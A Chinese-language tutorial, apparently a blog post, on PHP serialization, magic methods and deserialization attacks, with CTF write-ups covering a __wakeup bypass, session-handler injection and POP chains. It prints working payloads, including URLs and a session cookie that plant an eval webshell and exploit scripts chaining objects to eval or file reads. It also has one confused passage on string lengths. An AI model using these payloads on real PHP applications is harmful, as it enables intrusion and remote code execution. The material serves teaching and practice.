PHP序列化

什么是PHP序列化

serialize()     //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击

<?php
highlight_file(__FILE__);
class sunset{
public $flag='flag{asdadasd}';
public $name='makabaka';
public $age='18';
} $ctfer=new sunset(); //实例化一个对象
echo serialize($ctfer);
?>
  • 返回结果

O:6:"sunset":3:{s:4:"flag";s:14:"flag{asdadasd}";s:4:"name";s:8:"makabaka";s:3:"age";s:2:"18";}

  • O代表对象,这里是序列化的一个对象,要序列化数组的就用A
  • 6表示的是类的长度
  • sunset表示对是类名
  • 3表示类里面有3个属性也称为变量
  • s表示字符串的长度这里的flag表示属性
  • 比如s:4:"flag" 这里表示的是 flag属性名(变量名)为4个字符串长度 字符串 属性长度 属性值

什么是反序列化

这里是把上面序列化之后返回的数据进行反序列化

$str='O:6:"sunset":3:{s:4:"flag";s:14:"flag{asdadasd}";s:4:"name";s:8:"makabaka";s:3:"age";s:2:"18";}';
$a=unserialize($str);
var_dump($a);

PHP中public、protected、private的区别对比

public

public修饰的属性和方法可以在任何地方被访问,包括类的内部、子类和外部代码。

示例:

<?php
class Person {
public $name; public function sayHello() {
echo "Hello!";
}
} $person = new Person();
echo $person->name; // 可以直接访问 public 属性
$person->sayHello(); // 可以直接调用 public 方法
?>

protected

protected修饰的属性和方法只能在当前类及其子类中被访问,外部的代码访问不了

<?php
highlight_file(__FILE__);
class Person {
protected $name; protected function sayHello() {
echo "Hello!";
}
} class Student extends Person {
public function showName() {
echo $this->name; // 子类可以访问 protected 属性
$this->sayHello(); // 子类可以调用 protected 方法
}
} $student = new Student();
$student->showName(); // 可以访问父类的 protected 属性和方法
echo $student->name; // 外部代码不能访问 protected 属性 会显示错误
$student->sayHello(); // 外部代码不能调用 protected 方法 会显示错误
?>

private

private修饰的属性和方法只能在当前类中被访问,子类和外部代码不能访问。

<?php
highlight_file(__FILE__);
class Person {
private $name; private function sayHello() {
echo "Hello!";
}
} class Student extends Person {
public function showName() {
echo $this->name; // 子类不能访问父类的 private 属性
$this->sayHello(); // 子类不能调用父类的 private 方法
}
} $person = new Person();
echo $person->name; // 外部代码不能访问 private 属性 会发生报错
$person->sayHello(); // 外部代码不能调用 private 方法 会发生报错 ?>

总结

魔术方法

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。

常见的魔术方法

__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

__sleep()

__sleep() 方法是 PHP 中的一个魔术方法(magic method),用于在对象被序列化(serialized)时触发。在这个方法中,你可以指定哪些属性需要被序列化,哪些属性不需要被序列化。

具体来说,当调用 serialize() 函数将一个对象序列化时,PHP 会先自动调用对象的 __sleep() 方法,该方法需要返回一个数组,包含需要被序列化的属性名。然后 PHP 会将这些属性序列化成字符串。

假设有一个 User 类,它有一个私有属性 $password,你不希望在序列化对象时将密码属性暴露出来。那么你可以在 User 类中实现 __sleep() 方法

<?php
highlight_file(__FILE__);
class User {
private $username;
private $password; public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
} public function __sleep() {
return array('username');
}
} $user = new User('john', '123456');
$serialized = serialize($user);
echo $serialized;

在上面的例子中,User 类的 __sleep() 方法返回了一个只包含 $username 属性名的数组,这意味着在序列化对象时,只有用户名会被序列化。如果你运行上面的代码,你会看到输出的序列化字符串只包含了 username 属性的值。

关于序列化后的字符串中 s:14:"Userusername";s:4:"john"; 中的 s:14,实际上是指 "Userusername" 的长度为 12 个字符,而不是 10 或 14 个字符。这是因为在 PHP 序列化字符串中,每个字符串的前面都会有一个类似 s:6: 的字符串长度标识,表示该字符串的长度为 6 个字符。这个字符串长度标识包括 s:、冒号和数字长度,加起来占用了 4 个字符,所以实际上字符串长度标识的长度为字符串长度加 2。在您的输出结果中,s:14:"Userusername";s:4:"john"; 中的

__wakeup()

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源 而wakeup() 用于在从字符串反序列化为对象时自动调用。一个 PHP 对象被序列化成字符串并存储在文件、数据库或者通过网络传输时,我们可以使用 unserialize() 函数将其反序列化为一个 PHP 对象。在这个过程中,PHP 会自动调用该对象的 __wakeup() 方法,对其进行初始化。

__wakeup() 方法的作用是对一个对象进行一些必要的初始化操作。例如,如果一个对象中包含了一些需要进行身份验证的属性,那么在从字符串反序列化为对象时,就可以在 __wakeup() 方法中进行身份验证。或者如果一个对象中包含了一些需要在每次初始化时计算的属性,也可以在 __wakeup() 方法中进行计算

示例1:

<?php
highlight_file(__FILE__);
class User {
private $username;
private $password; public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
} public function __sleep() {
return array('username', 'password');
} public function __wakeup() {
if (!$this->authenticate()) {
throw new Exception("Authentication failed");
}
} private function authenticate() {
// 进行身份验证
}
} $user = new User('john', '123456');
$serialized = serialize($user);
$unserialized = unserialize($serialized);

在上面的示例中User 类实现了 __sleep()__wakeup() 方法。__sleep() 方法返回了一个包含 usernamepassword 属性名的数组,表示只有这两个属性需要被序列化。__wakeup() 方法会调用 authenticate() 方法进行身份验证。如果身份验证失败,则会抛出一个异常。

实例2:

<?php
highlight_file(__FILE__);
class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
} public function getInfo(){
echo $this->info . '<br>';
}
/**
* serialize前调用 用于删选需要被序列化存储的成员变量
* @return array [description]
*/
public function __sleep(){
echo __METHOD__ . '<br>';
return ['ID', 'sex', 'age'];
}
/**
* unserialize前调用 用于预先准备对象资源
*/
public function __wakeup(){
echo __METHOD__ . '<br>';
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
} $me = new Caiji('Sunset', 20, 'man'); $me->getInfo();
//存在__sleep(函数,$info属性不会被存储
$temp = serialize($me);
echo $temp . '<br>'; $me = unserialize($temp);
//__wakeup()组装的$info
$me->getInfo(); ?>
  • 输出结果

__toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

示例:

<?php
highlight_file(__FILE__);
class Person {
public $name;
public $age; public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
$this-> info=sprintf("name:%s,age:%s",$this->name,$this->age);
} public function __toString() {
return $this->info;
}
} $person = new Person("John", 30);
echo '__toString:'.$person.'<br>'; ?>

__destruct()

__destruct 方法是 PHP 中的一个特殊方法,用于在对象实例被销毁时自动调用。该方法通常用于清理对象所占用的资源,例如关闭数据库连接、释放文件句柄等。

示例:

class Example {
private $resource; public function __construct() {
$this->resource = fopen('example.txt', 'w');//打开文件
} public function write($text) {
fwrite($this->resource, $text);
} public function __destruct() {
fclose($this->resource);
}
} // 创建实例并写入文件
$example = new Example();
$example->write('Big hacker!!!'); // 实例销毁时,__destruct 方法会自动关闭文件句柄

在上面的示例中,Example 类的构造函数打开了一个文件,并将其保存在 $resource 属性中。write 方法使用该文件句柄将文本写入文件中。

$example 实例被销毁时,__destruct 方法会自动调用,关闭文件句柄以释放资源。这意味着在 write 方法执行后,即使没有调用 fclose 方法关闭文件,该文件也会被正确地关闭

  • 关于示例在上面时候被销毁

具体$example->write('Hello, world!');$example 变量,$example 对象将会被销毁,并且 __destruct 方法会被自动调用,关闭文件句柄。如果在此之后仍然有其他变量引用 $example 对象,那么对象不会被销毁,直到所有引用都被释放为止。

对象的生命周期取决于它的引用计数,只有当所有引用都被释放后,对象才会被销毁。__destruct 方法会在对象销毁时自动调用,用于执行清理操作。

魔术方法运行的先后顺序

__construct()和__destruct()
  • construct:当对象创建时会被调用,是在new对象时才调用,unserialize 时不对被自动调用
  • destruct() : 当对象被销毁时自动调用,有新的对象创建 之后会自动销毁 相当于调用了__construct 后一定会调用__destruct 现在传入一个对象,他后面被销毁时会调用 destruct

实例:

 <?php
highlight_file(__FILE__);
class sunset{
public $name='makabaka';
function __construct()
{
echo "调用"."__construct";
echo "<br>";
}
function __destruct()
{
echo "调用"."__destruct";
echo "<br>";
}
}
$a= new sunset();
echo serialize($a);
echo "<br>";
?> 调用__construct
O:6:"sunset":1:{s:4:"name";s:8:"makabaka";}
调用__destruct

创建对象sunset 调用 __construct 序列号之后调用__destruct销毁对象

__seelp()__wakeup()
  • __seelp() 在对象被序列化之前调用
  • __wakeup() 在对象被反序列化之前调用

示例:

<?php
highlight_file(__FILE__);
class sunset{
public $name='makabaka';
function __construct()
{
echo "调用"."__construct";
echo "<br>";
}
function __destruct()
{
echo "调用"."__destruct";
echo "<br>";
}
function __sleep()
{
echo "调用"."__sleep";
echo "<br>";
return array("name");
}
function __wakeup()
{
echo "调用"."__wakeup";
echo "<br>";
}
}
$a= new sunset();
echo serialize($a);
$b=$_GET['b'];
echo "<br>";
unserialize($b);
?>

这里可以看出在序列化之前调用了__sleep 方法然后进行销毁

<?php
highlight_file(__FILE__); class sunset {
public $name = 'makabaka'; function __construct() {
echo "调用 " . __METHOD__;
echo "<br>";
} function __destruct() {
echo "调用 " . __METHOD__;
echo "<br>";
} function __sleep() {
echo "调用 " . __METHOD__;
echo "<br>";
return array("name");
} function __wakeup() {
echo "调用 " . __METHOD__;
echo "<br>";
}
} if (isset($_POST['submit'])) {
$b = $_POST['a'];
unserialize($b);
} ?> <form method="POST">
<input type="text" name="a" value='O:6:"sunset":1:{s:4:"name";s:8:"makabaka";}'>
<input type="submit" name="submit" value="提交">
</form>

这里我们直接提交序列化的内容就调用了__wakeup

__toString()

__toString作为pop链关键的一步,很容易被调用。当对象被当作字符串的时候,__toString() 会被调用,不管对象有没有被打印出来,在对象被操作的时候,对象在和其他的字符串做比较的时候也会被调用。

  1. echo($obj)或print($obj)打印对象时会触发
  2. 反序列化对象与字符串连接时
  3. 反序列化对象参与格式化字符串时
  4. 反序列化对象字符串进行==比较时(多为preg_match正则匹配),因为php进行弱比较时会转换参数类型,相当于都转换成字符串进行比较
  5. 反序列化对象参与格式化sql语句时,绑定参数时(用的少)
  6. 反序列化对象经过php字符串函数时,如strlen(),addslashes()时(用的少)
  7. 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有tostring返回的字符串的时候tostring会被调用
  8. 反序列化的对象作为class_exists()的参数的时候(用的少)
<?php
highlight_file(__FILE__); class sunset {
public $name = 'makabaka'; function __construct() {
echo "调用 " ." __construct()";
echo "<br>";
} function __destruct() {
echo "调用 " . "__destruct()";
echo "<br>";
} function __toString() {
echo "调用 " . "__toString";
echo "<br>";
return array("name");
} }
$a= new sunset();
echo $a;

__invoke()

__invoke:当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用,而调用函数的方式就是在后面加上(),当我们看到像return $function();这种语句时,就应该意识到后面可能会调用__invoke(),下图是直接在对象后面加()调用(这个魔术方法只在PHP 5.3.0 及以上版本有效)

<?php
highlight_file(__FILE__); class sunset {
public $name = 'makabaka'; function __construct() {
echo "调用 " ." __construct()";
echo "<br>";
} function __destruct() {
echo "调用 " . "__destruct()";
echo "<br>";
}
function __invoke() {
echo "调用 " . "__invoke";
echo "<br>";
}
}
$a= new sunset();
$a();

__get()和__set()
  • __get():从不可访问的属性中读取数据,或者说是调用一个类及其父类方法中未定义属性时
  • __set():当给一个未定义的属性赋值时,或者修改一个不能被修改的属性时(private protected)(用的不多)
<?php
highlight_file(__FILE__);
class sunset {
public $name = 'makabaka';
public $str = 'hello'; function __construct() {
echo "调用 " ." __construct()";
echo "<br>";
} function __destruct() {
echo "调用 " . "__destruct()";
echo "<br>";
}
function __get($b) {
echo "调用 " . "__get";
echo "<br>";
return $this->str;
}
} $a= new sunset();
echo $a->makk;

这里创建一个对象调用了__construct 然后echo 指向的mkk没有被定义然后调用__get()

__call()__callStatic()
  • __call:在对象中调用类中不存在的方法时,或者是不可访问方法时被调用
  • __callStatic:在静态上下文中调用一个不可访问静态方法时被调用
<?php
highlight_file(__FILE__);
class sunset {
public $name = 'makabaka';
public $str = 'hello'; function __construct() {
echo "调用 " ." __construct()";
echo "<br>";
} function __destruct() {
echo "调用 " . "__destruct()";
echo "<br>";
}
function __call($b,$q) {
echo "调用 " . "__call";
echo "<br>";
return $this->str;
}
} $a= new sunset();
echo $a->makk();

这里调用makk()方法不存在调用__call

其他魔术方法
__isset():当对不可访问属性调用isset()或empty()时调用
__unset():当对不可访问属性调用unset()时被调用。
__set_state():调用var_export()导出类时,此静态方法会被调用。
__clone():当对象复制完成时调用
__autoload():尝试加载未定义的类
__debugInfo():打印所需调试信息

参考手册

题目

unserialize3

地址

这是一个有关于php序列化的题目

   <?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a= new xctf();
print(serialize($a));
?>

这里绕过__wakeup的方法就是属性值大于他之前的属性值 这里面就只有一个属性值 flag111 只要超过这个属性值就可以绕过

示例

<?php
error_reporting(0);
include "flag.php";
$KEY = "sunset";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
echo serialize($KEY);
$a='s:6:"sunset"';
$b= unserialize($a);
echo $b; show_source(__FILE__);

通过分析代码我们需要通过get传入一个str值然后这传入的值进行反序列化之后就与$KEY相等就可以返回flag

构造payload:http://127.0.0.1/1.php?str=s:6:"sunset";

如何绕过__wakeup() CVE-2016-7124

版本限制 PHP5:<5.6.25

​ PHP7:<7.0.10

CVE-2016-7124

<?php
error_reporting(0);
class sunset{
public $name='makabaka';
public $age='18';
function __wakeup(){
$this->age = "18";
}
function __destruct(){
$path='flag.php';
$file_get=file_put_contents($path,$this->name);
}
}
$flag = $_GET['flag'];
$unser = unserialize($flag);
代码分析
  • 类名: sunset
  • 属性名: name 和age
  • 魔术方法: __wakeup和__destruct

在代码中这里用到了反序列化函数unserialize , 只要用到这个函数是里面就会检测类sunset 里面有没有__wakeup()方法 ,如果有的话就会执行这个方法 这里的 wakeup()没有太大的作用然后后面的 __destruct打开了一个flag.php文件,然后把$this-->name 的值作为内容写入flag.php里面

O:6:"sunset":2:{s:4:"makabaka"}

对上面代码进行序列化

  • O 代表是一个对象
  • 6 长度为6 "sunset"
  • 2 表示里面有两个属性
  • s: 4:name 表示属性的长度为4
  • s:8:makabaka 属性的长度为8

在上面的代码中我们可以看到destruct 方法把name的东西写入flag.php里面这里我们可以直接写入shell

但是由于进行destruct 之前会进行wakeup方法 所以需要先绕过wakeup 这里需要增加类的属性值使大于类里面的就可以绕过>2

http://127.0.0.1/1.php/?flag=O:6:%22sunset%22:5:{s:4:%22name%22;s:41:%22%3C?php%20phpinfo();@eval($_POST[%27shell%27]);?%3E%22;s:3:%22age%22;s:2:%2218%22;}

示例2
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);// 读取文件里面的内容
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString()//必须返回一个字符串
{ return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->
  • 构造序列化的对象:O:5:"SoFun":1:
  • 绕过__wakeup():O:5:"SoFun":2:

上面类的属性为 protected 可以加上 \00*\00绕过之后进行base64绕过

http://127.0.0.1/index.php?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

SEESION反序列化漏洞

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化

在php.ini中有以下配置项,wamp的默认配置如图

session.save_path 设置session的存储路径

session.save_handler 设定用户自定义存储函数如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)

session.auto_start 指定会话模块是否在请求开始时启动一个会话

session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php(<5.5.4)

session 的存储机制

php中session中的内容是以文件方式来存储的,由由session.save_handler来决定。文件名由sess_sessionid命名,文件内容则为session序列化后的值。

session.serialize_handler是用来设置session的序列化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

引擎 session存储方式
php(php<5.5.4) 存储方式是,键名+竖线`
php_serialize(php>5.5.4) 存储方式是,经过serialize()函数序列化处理的键和值(将session中的key和value都会进行序列化)
php_binary 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

在PHP (php<5.5.4) 中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎名');进行设置

php_serialize 引擎
<?php
ini_set('session.serialize_handler','php_serialize');
session_start(); $_SESSION['name'] = 'sunset';
?>

这里汇总seesion存储路径存储一个序列化后的文件

内容为a:1:{s:4:"name";s:6:"sunset";}

其中a:1 是使用php_serialize引擎都会加上的,同时使用php_serialize会把session里面的key和value都会反序列化

  • a代表的是一个数组
php引擎
<?php
session_start(); $_SESSION['name'] = 'sunset';
?>

内容为name|s:6:"sunset";

这里name 为键值 s:6:"sunset" 是sunset序列化后的结果

php引擎存储方式为:键值名 | 序列化后的值

php_binary 引擎
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_binary');
session_start(); $_SESSION['name'] = 'sunset';
?>

返回值

names:6:"sunset";

前面那个是一个特殊字符 因为php_binary 序列化的过程中,会把数据编码为二进制格式,需要把数据长度信息加入到编码数据的开头,这样在解码的时候才可以读取数据,也是为了在解码的时候确定数据的长度。实质上是不可见字符,然后可以对照ascii表

例题: ctfshow_web263

访问www.zip文件拿到源码

  • index.php
<?php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
} ?>
  • check.php
<?php

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']); if($GET){ $data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
  • inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]); // sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
} class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
} /*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/ function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}

根据index.php 源码$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); 前面的$_SESSION['limiti'] 导致后续条件不可能成立,而inc.php 文件里面设定了指定的php解释器为php的里面session_start(); 会对session文件进行解析,进行反序列化

  • check.php 调用 cookie

  • inc.php文件

  • 抓取数据包

通过解码发现limit为1

  • EXP
<?php
highlight_file(__FILE__);
class User{
public $username='shell.php';
public $password = '<?php phpinfo();@eval($_POST["shell"]);?>'; } echo $a=base64_encode("|".serialize(new User));
echo "log-"."shell.php";

然后通过抓包修改cookielimit字段

  • 修改cookie后

写入成功

然后访问inc/inc.php触发条件 在check.phpinc/inc.php页面反序列化的时候|前面的会被看做键名,会对|后面的进行反序列化

ctfshow{1eb5b22f-96d0-45a7-bebe-bec221b32fec}

POP链

魔术方法运行的先后顺序

  • 思路

利用现有的环境,找到一系列的代码或者调用指令,然后构造成一组连续的调用链,然后进行攻击。任何一条链子的构造,我们都要先找到它的头和尾,pop链也不例外,pop链的头部一般是用户能传入参数的地方,而尾部是可以执行我们操作的地方,比如说读写文件,执行命令等等;找到头尾之后,从尾部(我们执行操作的地方)开始,看它在哪个方法中,怎么样可以调用它,一层一层往上倒推,直到推到头部为止,也就是我们传参的地方,一条pop链子就出来了;在ctf中,头部一般都会是GET或者POST传参,然后可能就有一个unserialize直接将我们传入的参数反序列化了,尾部都是拿flag的地方;然后一环连着一环构成pop链

例题1

有php反序列化漏洞是因为有不安全的魔术方法,魔术方法会自己调用,我们构造恶意的exp就可以来触发他,有时候的漏洞代码不在魔术方法里面,在普通的方法中,我们应该寻找魔术方法是否调用了同名的函数,然后用同名函数名和类的属性和魔术方法联系起来

<?php
class test {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "HelloWorld";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
} unserialize($_GET['a']);
?>

上面代码的危险函数是evil类里面的eval 我们需要把命令写入eval()里面,这里的action()函数有2个我们需要调用的是下面的class evil 这里代码的流程是先有一个test 类然后我们创建对象的时候调用__construct 方法之后会在创建一个新的normal 对象然后就调用了函数action() 输出HelloWorld

这里可以先创建一个test类然后利用test类创建一个evil 对象再通过对象写入危险函数

  • EXP
<?php
highlight_file(__FILE__);
class test {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
function __destruct() {
$this->ClassObj->action();
}
}
class evil {
private $data='phpinfo();'; }
$b= new test();
echo urlencode(serialize($b));
///http://127.0.0.1/1.php?a=O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

例题2

<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct()
{
$this->source=$this->str;
echo $this->source;
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
} class Uwant
{
public $params;
public function __construct(){
$this->params='phpinfo();';
}
public function __get($key){
return $this->getshell($this->params);
}
public function getshell($value)
{
eval($this->params);
}
}
$a = $_GET['a'];
unserialize($a);
?>
  • 这段代码的含义:

通过GET传入a参数--> 对传入的内容进行反序列化--> 分别传入Hello Show Uwant 里面--> 创建Hello类的对象时候调用__construct 方法把传递的参数存在了$str里面在该对象被销毁的时候调用__destruct 方法,并且把$str 的值给到了$source里面并且通过echo输出,然后创建Show 对象会调用__toString 方法返回$str的值str['str']->source ,创建Uwant 方法的时候调用了__construct 然后把phpinfo(); 存入了$params 里面然后访问这个属性时然后get没有$key参数 会调用__get 方法并且调用getshell)() 方法然后把$params 里面的内容写到eval然后输出

这里需要先把Hello类里面的$this-->str变成对象这样才可以继续让Show 里面的类__toString 执行,然后把Show类的$this->str['str']赋值成对象,来调用Uwant类中的__get()

  • EXP
<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));

例题3

[MRCTF2020]Ezpop

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
} class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function(); //这会直接调用到__invoke
}
} if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

这里通过get方法传入一个get参数,如果没有传入pop参数然后就调用Show方法 显示源码,这里的思路就是在Modifier 类里面有一个include 函数如果可以调用就可以通过文件包含,包含flag.php 文件然后使用php伪协议就可以获取flag

有关Test类的魔术方法简介就往__invoke

Show

__wakeup 在反序列化的时候会直接被触发里面的正则匹配了一些敏感的关键词 然后preg_match函数对s ource进行访问会触发__toString 然后这个方法又会访问str里面的source 我们创建一个新的Test类,里面没有source,然后会触发__get() 方法,函数返回的时候我们再创建一个Modifier类 之后又会触发__invoke 方法然后用Modifier 的var读取flag.php

头 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾

  • exp
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
} class Show{
public $source;
public $str;
public function __construct()
{
$this->str=new Test();
}
}
class Test{
public $p;
public function __get($key)
{
$function = $this->p;
return $function();
} }
$hack=new Show();
$hack->source=new Show();
$hack->source->str->p=new Modifier();
echo urlencode(serialize($hack));

flag{197b01ca-3562-4896-aedf-812a5686bb24}

PHP的序列化和反序列化的更多相关文章

  1. C# 序列化与反序列化几种格式的转换

    这里介绍了几种方式之间的序列化与反序列化之间的转换 首先介绍的如何序列化,将object对象序列化常见的两种方式即string和xml对象; 第一种将object转换为string对象,这种比较简单没 ...

  2. 使用Newtonsoft.Json.dll(JSON.NET)动态解析JSON、.net 的json的序列化与反序列化(一)

    在开发中,我非常喜欢动态语言和匿名对象带来的方便,JSON.NET具有动态序列化和反序列化任意JSON内容的能力,不必将它映射到具体的强类型对象,它可以处理不确定的类型(集合.字典.动态对象和匿名对象 ...

  3. Java 序列化与反序列化

    1.什么是序列化?为什么要序列化? Java 序列化就是指将对象转换为字节序列的过程,而反序列化则是只将字节序列转换成目标对象的过程. 我们都知道,在进行浏览器访问的时候,我们看到的文本.图片.音频. ...

  4. C#中怎样实现序列化和反序列化

    我们想要将数据进行持久化的操作的话,也就是将数据写入到文件中,我们在C#中可以通过IO流来操作,同时也可以通过序列化来操作,本人是比较推荐使用序列化操作的 因为我们如果想要将一个对象持久化到文件中 如 ...

  5. Java序列化与反序列化

    Java序列化与反序列化是什么?为什么需要序列化与反序列化?如何实现Java序列化与反序列化?本文围绕这些问题进行了探讨. 1.Java序列化与反序列化 Java序列化是指把Java对象转换为字节序列 ...

  6. XPatchLib 对象增量数据序列化及反序列化器 For .Net

    在日常的软件开发和使用过程中,我们发现同一套系统的同一配置项在不同的客户环境中是存在各种各样的差异的.在差异较为分散时,如何较好的管理这些差异,使得维护过程能够更加安全和快速,一直在这样那样的困扰着开 ...

  7. c# Json 自定义类作为字典键时,序列化和反序列化的处理方法

    一般情况下,Newtonsoft.Json.dll 对 Dictionary<int,object>.Dictionary<string,object>等序列化与反序列化都是成 ...

  8. java 对象序列化与反序列化

    Java序列化与反序列化是什么? 为什么需要序列化与反序列化? 如何实现Java序列化与反序列化? 本文围绕这些问题进行了探讨. 1.Java序列化与反序列化  Java序列化是指把Java对象转换为 ...

  9. 序列化,反序列化和transient关键字

    一.序列化和反序列化的概念 序列化:指把java对象转换为字节序列的过程. 反序列化:指把字节序列恢复为java对象的过程. 对象的序列化主要有两种用途: 1) 把对象的字节序列保存到硬盘上,通常存放 ...

  10. C#对象序列化与反序列化zz

      C#对象序列化与反序列化(转载自:http://www.cnblogs.com/LiZhiW/p/3622365.html) 1. 对象序列化的介绍........................ ...

随机推荐

  1. stm32 微秒定延时问题

    problem: 如果想用计时器定时微秒级,不要使能自动重载:代码如下: static uint16_t counter; void Delay_us(uint32_t us){ counter=0x ...

  2. vue后台管理系统

